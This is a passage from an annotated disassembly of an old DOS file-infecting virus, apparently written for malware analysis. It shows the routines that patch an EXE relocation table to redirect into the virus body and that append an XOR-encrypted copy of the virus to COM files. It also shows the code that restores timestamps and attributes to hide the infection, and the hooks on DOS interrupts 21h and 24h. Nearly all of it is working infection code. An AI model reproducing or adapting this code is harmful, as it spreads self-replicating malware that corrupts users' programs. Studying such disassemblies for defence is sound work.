|
||
|
||
291B 8B05 mov ax,[di] ; get offset
|
||
291D 3B06B302 cmp ax,[02B3] ; is it IP
|
||
2921 7249 jb 296C ; check next entry
|
||
|
||
; relocatin item points at entry point or above
|
||
|
||
2923 A1B302 mov ax,[02B3] ; IP
|
||
2926 050500 add ax,0005 ; length of far call
|
||
2929 3B05 cmp ax,[di] ; relocation item point inside call code
|
||
292B 763F jbe 296C ; no, consider next entry
|
||
|
||
; modify relocation table and write it to file
|
||
; let relocation item point at the same code but now stored in virus
|
||
; body in local buffer
|
||
|
||
292D A1C502 mov ax,[02C5] ; segment of virus entry point
|
||
2930 894502 mov [di+02],ax ; store in buffer
|
||
2933 8B05 mov ax,[di] ; offset
|
||
2935 8B1EB302 mov bx,[02B3] ; old IP
|
||
2939 29D8 sub ax,bx
|
||
293B 50 push ax ; store
|
||
293C B8AA02 mov ax,02AA ; offset of local buffer
|
||
293F 2D0001 sub ax,0100 ; offset in virus body
|
||
2942 8B1EC302 mov bx,[02C3] ; offset of entry point in RAM
|
||
2946 01D8 add ax,bx
|
||
2948 5B pop bx
|
||
2949 01D8 add ax,bx
|
||
294B 8905 mov [di],ax ; new offset
|
||
294D 8B0EC702 mov cx,[02C7] ; restore file position
|
||
2951 8B16C902 mov dx,[02C9]
|
||
2955 B80042 mov ax,4200 ; move file ptr
|
||
2958 5B pop bx ; restore handle
|
||
2959 53 push bx
|
||
295A CD21 int 21
|
||
|
||
295C 8B0ECB02 mov cx,[02CB] ; number of bytes
|
||
2960 B440 mov ah,40 ; write file
|
||
2962 5B pop bx ; handle
|
||
2963 53 push bx
|
||
2964 BA0000 mov dx,0000 ; from
|
||
2967 CD21 int 21
|
||
2969 EB19 jmp 2984 ; close file, etc. exit
|
||
296B 90 nop
|
||
|
||
296C 83C704 add di,0004 ; next entry in relocation table
|
||
296F A1CD02 mov ax,[02CD] ; number of readed bytes
|
||
2972 2D0001 sub ax,0100 ; buffer size
|
||
2975 01F8 add ax,di ; current position in table
|
||
2977 39F0 cmp ax,si ; table size
|
||
2979 7409 je 2984 ; close file, etc. exit
|
||
|
||
297B 3B3ECB02 cmp di,[02CB] ; end of buffer?
|
||
297F 7291 jb 2912 ; no, check next relocation item
|
||
|
||
2981 E967FF jmp 28EB ; read next part of relocation table
|
||
|
||
2984 EB67 jmp 29ED ; close file, etc. and exit
|
||
2986 90 nop
|
||
|
||
;-------------------
|
||
; infect COM file
|
||
|
||
; check maximum file size
|
||
|
||
2987 8B0E8102 mov cx,[0281] ; file size
|
||
298B 81F948EE cmp cx,EE48 ; maximum file size (61000)
|
||
298F 7209 jb 299A
|
||
|
||
; file too long or too short, exit
|
||
|
||
2991 5B pop bx
|
||
2992 58 pop ax
|
||
2993 58 pop ax
|
||
2994 E87A00 call 2A11 ; close file and restore INT 24h
|
||
2997 E937FB jmp 24D1 ; jump to old INT 21h
|
||
|
||
; check minimum file size
|
||
|
||
299A 3B0E8302 cmp cx,[0283] ; virus length, minimum file size
|
||
299E 72F1 jb 2991 ; file too short, exit
|
||
|
||
29A0 E88100 call 2A24 ; clear attributes and reopen file
|
||
29A3 C606B00200 mov byte ptr [02B0],00
|
||
|
||
; get file size
|
||
|
||
29A8 BA0000 mov dx,0000
|
||
29AB B90000 mov cx,0000
|
||
29AE B80242 mov ax,4202 ; move file ptr to EOF
|
||
29B1 5B pop bx ; restore handle
|
||
29B2 53 push bx
|
||
29B3 CD21 int 21
|
||
|
||
29B5 BE8302 mov si,0283
|
||
29B8 8B0C mov cx,[si] ; virus size
|
||
29BA B440 mov ah,40 ; write file
|
||
29BC 51 push cx
|
||
29BD BB4007 mov bx,0740 ; offset of buffer
|
||
|
||
; encrypt block
|
||
|
||
29C0 8A07 mov al,[bx]
|
||
29C2 34BB xor al,BB
|
||
29C4 8807 mov [bx],al
|
||
29C6 43 inc bx
|
||
29C7 E2F7 loop 29C0
|
||
|
||
; write to file
|
||
|
||
29C9 59 pop cx ; block size
|
||
29CA 5B pop bx ; handle
|
||
29CB 53 push bx
|
||
29CC BA4007 mov dx,0740 ; offset of buffer
|
||
29CF CD21 int 21
|
||
|
||
29D1 B80042 mov ax,4200 ; move file ptr to BOF
|
||
29D4 BA0000 mov dx,0000
|
||
29D7 B90000 mov cx,0000
|
||
29DA CD21 int 21
|
||
|
||
29DC BB1001 mov bx,0110 ; faked instruction
|
||
|
||
29DF BE8302 mov si,0283
|
||
29E2 8B0C mov cx,[si]
|
||
29E4 BA0001 mov dx,0100
|
||
29E7 B440 mov ah,40 ; write file
|
||
29E9 5B pop bx ; handle
|
||
29EA 53 push bx
|
||
29EB CD21 int 21
|
||
|
||
; common (EXE and COM) exit code, restore file date/time stamp
|
||
|
||
29ED 5B pop bx ; handle
|
||
29EE 5A pop dx ; file date stamp
|
||
29EF 59 pop cx ; file time stamp
|
||
29F0 53 push bx ; store handle
|
||
29F1 B80157 mov ax,5701 ; restore file time/date stamp
|
||
29F4 CD21 int 21
|
||
|
||
; restore file attributes
|
||
|
||
29F6 8B16D402 mov dx,[02D4] ; path offset
|
||
29FA 8E1ED202 mov ds,[02D2] ; path segment
|
||
29FE B80143 mov ax,4301 ; set file attributes
|
||
2A01 2E8B0ED002 mov cx,cs:[02D0] ; restore attributes
|
||
2A06 CD21 int 21
|
||
|
||
2A08 0E push cs
|
||
2A09 1F pop ds
|
||
2A0A 5B pop bx ; handle
|
||
2A0B E80300 call 2A11 ; close file and restore INT 24h
|
||
2A0E E9C0FA jmp 24D1 ; jump to old INT 21h
|
||
|
||
;-------------------------------
|
||
; close file and restore INT 24h
|
||
|
||
2A11 B8003E mov ax,3E00 ; close file
|
||
2A14 CD21 int 21
|
||
|
||
;----------------
|
||
; restore INT 24h
|
||
|
||
2A16 8B1E8502 mov bx,[0285]
|
||
2A1A 8E068702 mov es,[0287]
|
||
2A1E B82425 mov ax,2524 ; restore INT 24h
|
||
2A21 CD21 int 21
|
||
2A23 C3 ret
|
||
|
||
;------------------------------------------------
|
||
; clear file attributes and reopen for read/write
|
||
|
||
2A24 55 push bp
|
||
2A25 8BEC mov bp,sp
|
||
2A27 1E push ds
|
||
2A28 B80143 mov ax,4301 ; set file attributes
|
||
2A2B 8B16D402 mov dx,[02D4] ; path offset
|
||
2A2F 8E1ED202 mov ds,[02D2] ; path segment
|
||
2A33 31C9 xor cx,cx ; clear all
|
||
2A35 CD21 int 21
|
||
|
||
2A37 7306 jnb 2A3F ; continue
|
||
|
||
; exit to old INT 21h
|
||
|
||
2A39 1F pop ds
|
||
2A3A 5D pop bp
|
||
2A3B 58 pop ax
|
||
2A3C E945FF jmp 2984 ; exit
|
||
|
||
2A3F 368B5E04 mov bx,ss:[bp+04] ; restore handle
|
||
2A43 B8003E mov ax,3E00 ; close file
|
||
2A46 CD21 int 21
|
||
|
||
2A48 B8023D mov ax,3D02 ; open file for read/write
|
||
2A4B FA cli
|
||
2A4C 9C pushf
|
||
2A4D 2EFF1EC201 call far [01C2] ; old INT 21h
|
||
2A52 1F pop ds
|
||
|
||
2A53 36894604 mov ss:[bp+04],ax ; handle
|
||
2A57 5D pop bp
|
||
2A58 C3 ret
|
||
|
||
; end of file
|
||
;----------------------------------------
|
||
; buffer for header of infected EXE file
|
||
|
||
cs:0740 ; 'MZ'
|
||
cs:0742 ; PartPag
|
||
cs:0744 ; PageCnt
|
||
cs:0746 ; ReloCnt
|
||
cs:0748 ; HdrSize
|
||
cs:074a ; MinMem
|
||
cs:074c ; MaxMem
|
||
cs:074e ; ReloSS
|
||
cs:0750 ; ExeSP
|
||
cs:0752 ; ChkSum
|
||
cs:0754 ; ExeIP
|
||
cs:0756 ; ReloCS
|
||
cs:0758 ; TablOff
|
||
cs:075a ; Overlay
|
||
|
||
|